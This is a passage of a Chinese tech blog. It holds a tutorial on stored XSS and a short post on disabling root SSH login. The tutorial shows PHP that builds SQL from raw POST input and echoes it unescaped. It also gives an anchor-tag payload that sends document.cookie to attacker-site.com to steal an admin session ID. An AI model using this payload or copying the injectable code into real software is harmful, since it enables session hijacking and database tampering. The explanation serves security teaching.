<span class="comment"># Start the session</span></div><div class="line"> session_start();</div><div class="line"> <span class="variable">$_SESSION</span>[<span class="string">'USER_NAME'</span>] = <span class="variable">$user_name</span>;</div><div class="line"> <span class="built_in">echo</span> <span class="string">"&lt;head&gt; &lt;meta http-equiv=\"Refresh\" content=\"0;url=home.php\" &gt; &lt;/head&gt;"</span>;</div><div class="line">&#125;</div><div class="line">?&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;另有以下home.php，其根据登入的用户是 admin 还是其他用户，显示不同内容，对于admin，其列出所有用户，对于其他用户，提供包含输入框的form，可在数据库中插入新的用户名信息。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div></pre></td><td class="code"><pre><div class="line">&lt;?php</div><div class="line">session_start();</div><div class="line"><span class="keyword">if</span>(!<span class="variable">$_SESSION</span>[<span class="string">'USER_NAME'</span>]) &#123;</div><div class="line"> <span class="built_in">echo</span> <span class="string">"Need to login"</span>;</div><div class="line">&#125;</div><div class="line"><span class="keyword">else</span> &#123;</div><div class="line"> <span class="variable">$Host</span>= <span class="string">'192.168.1.8'</span>;</div><div class="line"> <span class="variable">$Dbname</span>= <span class="string">'app'</span>;</div><div class="line"> <span class="variable">$User</span>= <span class="string">'yyy'</span>;</div><div class="line"> <span class="variable">$Password</span>= <span class="string">'xxx'</span>;</div><div class="line"> <span class="variable">$Schema</span> = <span class="string">'test'</span>;</div><div class="line"> <span class="variable">$Conection_string</span>=<span class="string">"host=<span class="variable">$Host</span> dbname=<span class="variable">$Dbname</span> user=<span class="variable">$User</span> password=<span class="variable">$Password</span>"</span>;</div><div class="line"> <span class="variable">$Connect</span>=pg_connect(<span class="variable">$Conection_string</span>,<span class="variable">$PGSQL_CONNECT_FORCE_NEW</span>);</div><div class="line"> <span class="keyword">if</span>(<span class="variable">$_SERVER</span>[<span class="string">'REQUEST_METHOD'</span>] == <span class="string">"POST"</span>) &#123;</div><div class="line">  <span class="variable">$query</span>=<span class="string">"update <span class="variable">$Schema</span>.members set display_name='"</span>.<span class="variable">$_POST</span>[<span class="string">'disp_name'</span>].<span class="string">"' where user_name='"</span>.<span class="variable">$_SESSION</span>[<span class="string">'USER_NAME'</span>].<span class="string">"';"</span>;</div><div class="line">  pg_query(<span class="variable">$Connect</span>,<span class="variable">$query</span>);</div><div class="line">  <span class="built_in">echo</span> <span class="string">"Update Success"</span>;</div><div class="line"> &#125;</div><div class="line"> <span class="keyword">else</span> &#123;</div><div class="line">  <span class="keyword">if</span>(strcmp(<span class="variable">$_SESSION</span>[<span class="string">'USER_NAME'</span>],<span class="string">'admin'</span>)==0) &#123;</div><div class="line">   <span class="built_in">echo</span> <span class="string">"Welcome admin&lt;br&gt;&lt;hr&gt;"</span>;</div><div class="line">   <span class="built_in">echo</span> <span class="string">"List of user's are&lt;br&gt;"</span>;</div><div class="line">   <span class="variable">$query</span> = <span class="string">"select display_name from <span class="variable">$Schema</span>.members where user_name!='admin'"</span>;</div><div class="line">   <span class="variable">$res</span> = pg_query(<span class="variable">$Connect</span>,<span class="variable">$query</span>);</div><div class="line">   <span class="keyword">while</span>(<span class="variable">$row</span>=pg_fetch_array(<span class="variable">$res</span>,NULL,PGSQL_ASSOC)) &#123;</div><div class="line">    <span class="built_in">echo</span> <span class="string">"<span class="variable">$row</span>[display_name]&lt;br&gt;"</span>;</div><div class="line">   &#125;</div><div class="line"> &#125;</div><div class="line"> <span class="keyword">else</span> &#123;</div><div class="line">  <span class="built_in">echo</span> <span class="string">"&lt;form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\"&gt;"</span>;</div><div class="line">  <span class="built_in">echo</span> <span class="string">"Update display name:&lt;input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\"&gt;"</span>;</div><div class="line">  <span class="built_in">echo</span> <span class="string">"&lt;input type=\"submit\" value=\"Update\"&gt;"</span>;</div><div class="line"> &#125;</div><div class="line">&#125;</div><div class="line">&#125;</div><div class="line">?&gt;</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;注意以上场景中，对 admin 和其他用户进行了不同的权限设置，admin可以看到所有用户列表，下面我们来看如何获取 admin 的session ID，从而使得其他用户也能获得 admin 的权限。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;首先，攻击者以一个普通用户登录进来，然后在输入框中提交以下数据：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&lt;a href=<span class="comment"># onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\"&gt;bangerlee&lt;/a&gt;</span></div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;攻击者提交了条带<a>标签的数据，该条数据将保存在数据库中，而当 admin 用户登入时，包含 “bangerlee” 的用户列表将显示，如果 admin 用户点击 “bangerlee” 时，在 “attacker-site.com” 所在的服务器上，攻击者就可以窃取到 admin 的session-id：</a></p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;有了该session-id，攻击者在会话有效期内即可获得 admin 用户的权限，并且由于攻击数据已添加入数据库，只要攻击数据未被删除，那么攻击还有可能生效，是持久性的。</p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;当然，不是只有持久型xss攻击才能窃取session ID、用户的cookie信息，用非持久型xss也可以，只要引导用户点击某链接，将 document.cookie 信息传到指定服务器即可，以上仅作为说明持久型xss攻击的举例。</p>

	

	

</article>




	<article>
	
		<h1><a href="/2017/10/12/Linux安全/10. root账户不允许远程登陆/">root账户不允许远程登陆</a></h1>
	
	<div class="article__infos">
		<span class="article__date">2017-10-12</span><br />
		
		
			<span class="article__tags">
			  	<a class="article__tag-link" href="/tags/Linux安全/">Linux安全</a>
			</span>
		
	</div>

	

	
		<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;有时为了特殊需求，只允许普通账户登陆Linux，而不允许root账户登陆，而普通账户登陆后，然后再su 到root下是可以的。打开sshd的配置文件 </p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">vim /etc/ssh/sshd_config</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;加入一行：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">PermitRootLogin no</div></pre></td></tr></table></figure>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;重启sshd服务：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">service sshd restart</div></pre></td></tr></table></figure>

	

	

</article>





	<span class="different-posts">📖 <a href="/page/37">more posts</a> 📖</span>



	</main>

	<footer class="footer">
	<div class="footer-content">
		
	      <div class="footer__element">
	<p>Hi there, <br />welcome to my Blog glad you found it. Have a look around, will you?</p>
</div>

	    
	      <div class="footer__element">
	<h5>Check out</h5>
	<ul class="footer-links">
		<li class="footer-links__link"><a href="/archives">Archive</a></li>
		
		  <li class="footer-links__link"><a href="/atom.xml">RSS</a></li>
	    
		<li class="footer-links__link"><a href="/about">about page</a></li>
		<li class="footer-links__link"><a href="/tags">Tags</a></li>
		<li class="footer-links__link"><a href="/categories">Categories</a></li>
	</ul>
</div>

	    

		<div class="footer-credit">
			<span>© 2017 失落的乐章 | Powered by <a href="https://hexo.io/">Hexo</a> | Theme <a href="https://github.com/HoverBaum/meilidu-hexo">MeiliDu</a></span>
		</div>

	</div>


</footer>



</body>

</html>
